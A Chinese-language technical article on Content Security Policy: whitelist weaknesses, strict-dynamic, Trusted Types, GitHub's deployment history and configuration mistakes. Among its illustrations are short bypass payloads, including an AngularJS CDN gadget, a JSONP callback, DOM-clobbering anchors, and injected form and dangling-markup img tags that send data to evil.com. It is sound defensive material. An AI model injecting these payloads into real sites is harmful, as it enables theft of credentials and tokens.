2019年3月,一名安全研究员发现了一个令人不安的事实:在全球排名前100万的网站中,部署了CSP的网站仅有4.6%,而其中超过一半的策略可以被轻易绕过。这项由Google安全团队主导的研究揭示了一个残酷的真相——这个被设计为XSS攻击"终结者"的安全机制,在实践中正变得形同虚设。
内容安全策略(Content Security Policy,简称CSP)是W3C在2012年正式标准化的浏览器安全机制,其核心理念简洁而有力:让开发者告诉浏览器"只从这里加载内容"。但在十多年的实践中,这个看似简单的机制却演化出了复杂的攻防博弈。白名单模式的设计缺陷、第三方脚本的兼容性困境、以及不断涌现的绕过技术,共同构成了CSP部署的现实困境。
CSP的本质:浏览器安全边界的重新定义
理解CSP的关键在于认识到它解决的不是一个技术问题,而是一个信任边界问题。
传统Web安全模型基于同源策略(Same-Origin Policy),它限制了不同源之间的资源访问。但同源策略无法阻止攻击者从任意源加载恶意脚本——只要攻击者能在页面中注入一个<script>标签,浏览器就会忠实地执行其中的代码,无论该代码来自哪里。
CSP的核心创新在于引入了"内容源白名单"概念。服务器通过HTTP响应头或<meta>标签声明哪些内容源是可信的,浏览器在加载任何资源前都会检查该声明。一个基本的CSP策略如下:
Content-Security-Policy: default-src 'self'; script-src https://cdn.example.com
这条策略声明:默认只允许加载来自当前域的资源,脚本只允许从cdn.example.com加载。任何尝试从其他源加载脚本的行为都会被浏览器阻止。
但问题的复杂性在于,现代Web应用很少是封闭的单体。第三方分析脚本、广告SDK、社交媒体插件、支付网关……这些依赖构成了一个复杂的信任网络。CSP的设计必须在安全性和实用性之间寻找平衡点。
白名单的致命缺陷:当信任变成漏洞
CSP Level 1和Level 2都采用了白名单模式——开发者显式列出所有可信的内容源。这种设计直观易懂,但在实践中却暴露出严重的结构性缺陷。
CDN成为攻击者的后门
Google在2016年发表的研究论文《CSP Is Dead, Long Live CSP!》中分析了Alexa Top 100万网站的CSP部署情况,发现了一个普遍存在的漏洞模式:为了方便使用CDN,大量网站将ajax.googleapis.com、cdn.jsdelivr.net等公共CDN加入了白名单。
问题在于,这些公共CDN托管了数以万计的JavaScript库。攻击者只需要找到其中一个存在的库,就能绕过CSP执行任意代码:
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.min.js"></script>
<div ng-app ng-csp>
<div ng-click="$event.view.alert(1)">Click me</div>
</div>
AngularJS的模板系统允许在没有eval的情况下执行JavaScript,而CSP白名单无法区分CDN上的不同脚本。
JSONP端点:合法的XSS载体
更隐蔽的绕过方式利用了JSONP(JSON with Padding)端点。许多CSP白名单中的域名提供JSONP服务,攻击者可以利用这些端点执行任意代码:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
如果accounts.google.com在白名单中,这条请求完全合法——浏览器会执行返回的alert(1)代码。
PortSwigger的安全研究员在2024年发现,即使是一些安全意识较强的网站也未能完全避免这种风险。通过对10000个网站的扫描,研究者识别出了15种新的CSP绕过方法,其中大部分与JSONP端点和CDN托管库相关。
统计数据揭示的部署困境
HTTP Archive发布的Web Almanac 2025年度报告显示,尽管CSP的部署率从去年的18.5%增长到21.9%,但有效防护的比例却令人担忧:
- 在设置了
script-src指令的网站中,高达92%仍使用'unsafe-inline'关键字,这一配置完全破坏了CSP对XSS的防护能力 - 77%的网站使用
'unsafe-eval',允许eval()等危险函数执行 - 仅有约20%的网站采用基于nonce的策略,约10%使用
strict-dynamic - Google 2016年的研究《CSP Is Dead, Long Live CSP!》发现,94.72%的已部署CSP策略可以被"轻易绕过"
这些数据揭示了一个根本性问题:白名单模式在理论上提供了灵活性,但在实践中却创造了攻击面。每当开发者将一个新的域名加入白名单,他们就在扩大攻击者的活动空间。
strict-dynamic:CSP Level 3的范式转变
CSP Level 3引入了strict-dynamic关键字,这标志着CSP设计哲学的根本转变——从"信任来源"转向"信任代码"。
信任链传递机制
strict-dynamic的核心思想是:如果一个脚本被开发者信任(通过nonce或hash验证),那么由该脚本动态创建的其他脚本也应该被信任。这种机制类似于操作系统中的权限继承:
Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; object-src 'none'; base-uri 'none';
当浏览器看到一个带有正确nonce的<script>标签时,strict-dynamic允许该脚本通过DOM API动态创建新的脚本元素,而无需这些新脚本也携带nonce:
// 这个脚本带有正确的nonce,被信任
const script = document.createElement('script');
script.src = 'https://analytics.example.com/tracker.js';
document.head.appendChild(script); // 新脚本自动获得信任,无需nonce
这种设计解决了传统白名单模式的核心问题:开发者不再需要为每个第三方域名添加白名单条目,也不必担心CDN上的其他代码被滥用。
信任边界的精确定义
strict-dynamic的信任传播是有边界的:
- 只信任通过DOM API创建的脚本(
document.createElement('script')) - 不信任通过HTML字符串注入的脚本(
innerHTML、document.write) - 不信任通过
eval、setTimeout(string)等执行的代码
这种边界设计防止了攻击者利用现有的信任脚本注入恶意代码。即使在受信任的脚本执行环境中存在HTML注入漏洞,攻击者也无法利用strict-dynamic传播的信任。
与第三方脚本的兼容性
strict-dynamic与Google Tag Manager、Google Analytics等第三方服务的兼容性得到了显著改善。传统白名单模式下,这些服务通常需要添加多个域名到白名单,而strict-dynamic只需要:
<script nonce="{RANDOM}">
// 加载Google Tag Manager
var gtm = document.createElement('script');
gtm.src = 'https://www.googletagmanager.com/gtm.js?id=GTM-XXXX';
document.head.appendChild(gtm);
</script>
GTM后续加载的所有标签和脚本都会自动继承信任,无需额外的CSP配置。
DOM Clobbering:当HTML成为攻击武器
CSP的演进并未停止攻击者的创新。2017年开始,一种名为DOM Clobbering的攻击技术引起了安全社区的广泛关注,它在2023年被PortSwigger的研究团队正式确认为CSP绕过的有效手段。
攻击原理
DOM Clobbering利用了浏览器的一个历史设计决策:HTML元素可以通过id或name属性创建全局JavaScript变量。考虑以下代码:
// 开发者预期的代码
if (window.config.apiUrl) {
fetch(window.config.apiUrl + '/data');
}
攻击者可以通过注入HTML覆盖config对象:
<a id="config" href="https://evil.com/steal?data=">
<a id="config" name="apiUrl" href="data:,">
当这段HTML被注入页面后,window.config变成了一个HTMLAnchorElement,而window.config.apiUrl则是另一个HTMLAnchorElement。访问window.config.apiUrl时,由于它是锚元素,其字符串表示是href属性的值,即data:,。
绕过Strict CSP
在strict-dynamic保护下,攻击者可以利用DOM Clobbering影响受信任脚本的执行行为:
<!-- 攻击者注入 -->
<a id="app"><a id="app" name="cdnBase" href="https://evil.com/">
<!-- 受信任的脚本 -->
<script nonce="...">
var script = document.createElement('script');
script.src = window.app.cdnBase + 'utils.js'; // 被劫持到 evil.com
document.head.appendChild(script);
</script>
由于新脚本是由受信任脚本动态创建的,strict-dynamic会自动信任它——即使它来自攻击者控制的服务器。
防御策略
防御DOM Clobbering需要在代码层面进行:
// 不安全的写法
if (window.config.apiUrl) { ... }
// 安全的写法:验证类型
if (window.config && typeof config.apiUrl === 'string') { ... }
// 更安全的写法:使用命名空间
const MyApp = {
config: { apiUrl: 'https://api.example.com' }
};
PortSwigger的Burp Suite已经集成了DOM Invader工具,可以自动检测页面中的DOM Clobbering漏洞。
Form Hijacking:被忽视的数据泄露通道
2024年3月,PortSwigger安全团队披露了一种被长期忽视的CSP绕过技术——表单劫持(Form Hijacking)。
问题的根源
CSP Level 2引入了form-action指令来限制表单提交的目标地址。然而,form-action并不包含在default-src的默认行为中。这意味着,如果开发者只设置了default-src 'self'而忘记显式设置form-action,攻击者仍然可以劫持表单提交:
<!-- 攻击者注入 -->
<form action="https://evil.com/steal">
<input type="hidden" name="session" value="">
<!-- 页面中后续的表单内容会被捕获 -->
</form>
密码管理器的放大效应
Form Hijacking的威胁在密码管理器普及的今天被进一步放大。当用户访问包含恶意表单的页面时,浏览器可能会自动填充保存的凭据,攻击者无需任何交互即可窃取用户名和密码。
Infosec Mastodon平台曾遭受过类似攻击:攻击者利用HTML注入漏洞创建了一个钓鱼表单,当用户点击看似正常的界面元素时,凭据被发送到攻击者控制的服务器。
防御配置
正确的CSP配置应该显式设置form-action:
Content-Security-Policy: default-src 'self'; form-action 'self';
对于不需要表单提交的应用,可以使用最严格的配置:
Content-Security-Policy: form-action 'none';
Trusted Types:从根本上解决DOM XSS
CSP提供了资源加载层面的防护,但对于DOM XSS——通过JavaScript直接操作DOM引入的XSS——传统CSP的防护能力有限。Trusted Types是浏览器提供的新一代安全机制,专门针对DOM XSS攻击。
DOM XSS Sink函数的风险
现代Web应用大量使用innerHTML、eval、setTimeout(string)等API,这些函数被称为"sink"——它们接受字符串输入并将其作为代码执行。当不可信的字符串流入这些sink时,就会产生DOM XSS漏洞:
// 危险:用户输入直接流入innerHTML
element.innerHTML = userInput;
// 同样危险
eval(userInput);
setTimeout(userInput, 1000);
传统CSP无法有效防护这类漏洞,因为恶意代码并不来自外部资源,而是在页面内部生成和执行的。
Trusted Types的工作机制
Trusted Types要求开发者在将字符串传递给敏感sink之前,先通过一个策略函数进行处理:
// 创建一个受信任的类型策略
const sanitizer = trustedTypes.createPolicy('my-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
// 使用策略创建受信任的值
element.innerHTML = sanitizer.createHTML(userInput); // 安全
// 直接使用字符串会被拒绝
element.innerHTML = userInput; // TypeError: Failed to set the 'innerHTML' property
CSP与Trusted Types的配合
通过CSP头启用Trusted Types:
Content-Security-Policy: require-trusted-types-for 'script';
这条指令告诉浏览器:所有DOM XSS sink函数只接受Trusted Types创建的值,拒绝直接传入的字符串。
Google报告称,在启用了Trusted Types的服务中,DOM XSS漏洞几乎被完全消除。Chrome Lighthouse已经将Trusted Types检测作为最佳实践审计项。
GitHub的CSP演进之路:从白名单到深度防御
GitHub是CSP部署的最佳实践案例之一。他们的安全团队在博客中详细记录了CSP策略从2013年到2017年的演进过程,揭示了企业级CSP部署的真实挑战。
阶段一:基础白名单(2013年)
GitHub最初部署的CSP策略相对简单:
Content-Security-Policy: default-src 'self'; script-src 'self' https://github.global.ssl.fastly.net
这个策略保护了基本场景,但很快发现了问题:许多第三方服务需要添加到白名单,白名单不断膨胀。
阶段二:收紧img-src(2016年)
CSP稳定运行后,GitHub安全团队开始关注"post-CSP"攻击——那些在CSP保护下仍然可行的攻击。他们发现img-src可以成为数据泄露通道:
<img src='https://evil.com/steal?data=
<form action="...">
<input type="hidden" name="csrf_token" value="secret">
</form>
这种"dangling markup"攻击可以窃取页面中的敏感信息。为解决这一问题,GitHub将img-src限制为自己的CDN和必要的服务,并移除了Google Analytics的图片追踪支持。
阶段三:Camo代理(2017年)
为了彻底解决第三方图片的安全风险,GitHub开发了一个名为Camo的图片代理服务。所有第三方图片URL都通过Camo代理,Camo会验证请求的完整性:
https://camo.githubusercontent.com/{hmac}/{hex-encoded-url}
由于攻击者无法预测正确的HMAC值,他们无法创建有效的Camo URL来泄露数据。
阶段四:Per-form CSRF Token
GitHub还实施了per-form CSRF token机制——每个表单的CSRF token只能用于该表单的目标URL。这意味着即使攻击者窃取了一个CSRF token,也只能用于特定的、低风险的端点。
这种纵深防御策略展示了CSP的真实价值:它不是万能的防护手段,而是应该与其他安全机制配合使用。
CSP Level 3的新特性:更精细的控制粒度
W3C在2024年11月发布的CSP Level 3规范引入了一系列新特性,旨在提供更精细的控制和更好的开发体验。
unsafe-hashes:兼容性与安全的平衡
内联事件处理器(如onclick="doSomething()")传统上被CSP阻止,这迫使开发者重构大量遗留代码。unsafe-hashes允许开发者为特定的事件处理器生成hash:
Content-Security-Policy: script-src 'sha256-xxxx' 'unsafe-hashes'
<button onclick="doSomething()"> <!-- 如果hash匹配,允许执行 -->
这比完全禁用内联事件处理器或使用'unsafe-inline'提供了更好的安全-兼容性权衡。
script-src-attr和script-src-elem
CSP Level 3将script-src拆分为两个更精细的指令:
script-src-elem:控制<script>元素script-src-attr:控制内联事件处理器
这种分离允许开发者对不同的脚本来源应用不同的策略:
Content-Security-Policy:
script-src-elem 'nonce-{RANDOM}' 'strict-dynamic';
script-src-attr 'none'; /* 完全禁止内联事件处理器 */
report-sample:违规报告的改进
report-sample关键字允许在违规报告中包含被阻止代码的样本:
Content-Security-Policy: script-src 'nonce-{RANDOM}' 'report-sample'
这大大简化了调试过程,开发者可以直接在违规报告中看到是哪段代码被阻止。
第三方脚本的兼容性策略
现代Web应用几乎无法避免使用第三方脚本。如何在保持安全的同时兼容这些脚本,是CSP部署的核心挑战。
策略一:服务端渲染nonce
对于服务端渲染的应用,最安全的方式是为每个请求生成唯一的nonce:
// Node.js/Express示例
app.get('/', (req, res) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.set('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'`);
res.render('index', { nonce });
});
所有内联脚本都需要携带这个nonce:
<script nonce="<%= nonce %>">
// 加载第三方脚本
</script>
策略二:静态站点的hash方案
对于静态站点(如SPA应用),hash方案更合适:
// 构建时生成hash
const scriptContent = fs.readFileSync('inline-script.js', 'utf-8');
const hash = crypto.createHash('sha256').update(scriptContent).digest('base64');
console.log(`'sha256-${hash}'`);
构建工具如Webpack、Vite都有相应的插件可以自动化这个过程。
策略三:第三方脚本的代理
对于无法控制内容的第三方脚本,最佳实践是通过自己的服务器代理:
location /proxy/analytics/ {
proxy_pass https://www.google-analytics.com/;
proxy_set_header Host www.google-analytics.com;
}
这样第三方脚本的域名就变成了自己的域名,避免了CSP白名单的复杂性。
报告机制:从report-uri到Reporting API
CSP的价值不仅在于阻止攻击,还在于提供可观测性。了解生产环境中发生了哪些违规,是持续改进策略的关键。
report-uri的遗留支持
传统的report-uri指令将违规报告发送到指定URL:
Content-Security-Policy: default-src 'self'; report-uri /csp-report
浏览器会向该URL发送一个POST请求,包含JSON格式的违规详情。
Reporting API:现代替代方案
Reporting API提供了更通用的报告框架:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group": "csp-endpoint", "max_age": 10886400,
"endpoints": [{"url": "/report"}]}
这种方式允许配置多个报告端点、设置过期时间,并支持不同类型的报告(CSP、COOP、COEP等)共用基础设施。
Cloudflare Workers的实现示例
对于使用Cloudflare的站点,可以用Workers低成本实现报告收集:
// Worker代码
addEventListener('fetch', event => {
if (event.request.method === 'POST' &&
event.request.url.endsWith('/csp-report')) {
event.request.json().then(report => {
console.log('CSP Violation:', report);
// 发送到日志服务或存储
});
return new Response('OK');
}
});
常见错误与最佳实践
基于对大量网站CSP配置的分析,以下是最常见的错误及其修正方案。
错误一:遗漏关键指令
// 错误:form-action、base-uri不在default-src范围内
Content-Security-Policy: default-src 'self'
// 正确
Content-Security-Policy: default-src 'self'; form-action 'self'; base-uri 'self'; object-src 'none'
错误二:弱随机数nonce
// 错误:可预测的nonce
'nonce-' + Date.now()
// 正确:加密安全的随机数
'nonce-' + crypto.randomBytes(16).toString('base64')
错误三:过度依赖unsafe-inline
// 错误:破坏了CSP的XSS防护
script-src 'self' 'unsafe-inline'
// 正确:使用nonce或hash
script-src 'nonce-{RANDOM}' 'strict-dynamic'
错误四:语法错误
PortSwigger的研究发现,大量网站的CSP存在语法错误:
// 错误:缺少引号
script-src sha256-xxxx
// 正确
script-src 'sha256-xxxx'
// 错误:缺少分号
default-src 'self' script-src 'none'
// 正确
default-src 'self'; script-src 'none'
最佳实践:渐进式部署
- 从Report-Only开始:先使用
Content-Security-Policy-Report-Only收集违规报告,不影响生产功能 - 逐步收紧:从宽松的策略开始,根据报告逐步收紧
- 监控关键指标:跟踪违规报告数量、类型,及时发现问题
- 定期审计:使用Google CSP Evaluator等工具定期检查策略
结语
CSP的十年演进揭示了一个深刻的道理:安全机制的有效性不仅取决于技术设计,更取决于部署实践。白名单模式的失败不是因为技术不可行,而是因为它将复杂的信任决策推给了开发者,而开发者往往缺乏足够的安全知识和时间来做出正确决策。
strict-dynamic、Trusted Types等新机制代表了CSP设计哲学的转变——从"开发者定义信任边界"转向"浏览器提供安全默认值"。这种转变降低了正确部署安全机制的门槛,让安全成为默认选择而非额外负担。
对于开发者而言,CSP应该被视为纵深防御体系的一环,而非独立的解决方案。与输入验证、输出编码、CSRF保护、安全框架等机制配合使用,才能构建真正坚固的安全防线。
“CSP不是银弹,但它是让攻击者的日子变得更艰难的重要工具。” — Mike West,Google安全工程师
参考资料
- W3C. Content Security Policy Level 3. https://www.w3.org/TR/CSP3/
- Google. Mitigate cross-site scripting (XSS) with a strict Content Security Policy (CSP). https://web.dev/articles/strict-csp
- OWASP. Content Security Policy Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
- PortSwigger. Using form hijacking to bypass CSP. https://portswigger.net/research/using-form-hijacking-to-bypass-csp
- PortSwigger. Bypassing CSP via DOM clobbering. https://portswigger.net/research/bypassing-csp-via-dom-clobbering
- GitHub. GitHub’s post-CSP journey. https://github.blog/engineering/platform-security/githubs-post-csp-journey/
- MDN. Content-Security-Policy: require-trusted-types-for directive. https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for
- Google Research. CSP Is Dead, Long Live CSP! On the Insecurity of Whitelists and the Future of Content Security Policy. https://research.google/pubs/archive/45542.pdf
- Google CSP Evaluator. https://csp-evaluator.withgoogle.com/
- CTI Labs. CSP bypass techniques expose 67% of web apps to XSS attacks. 2025.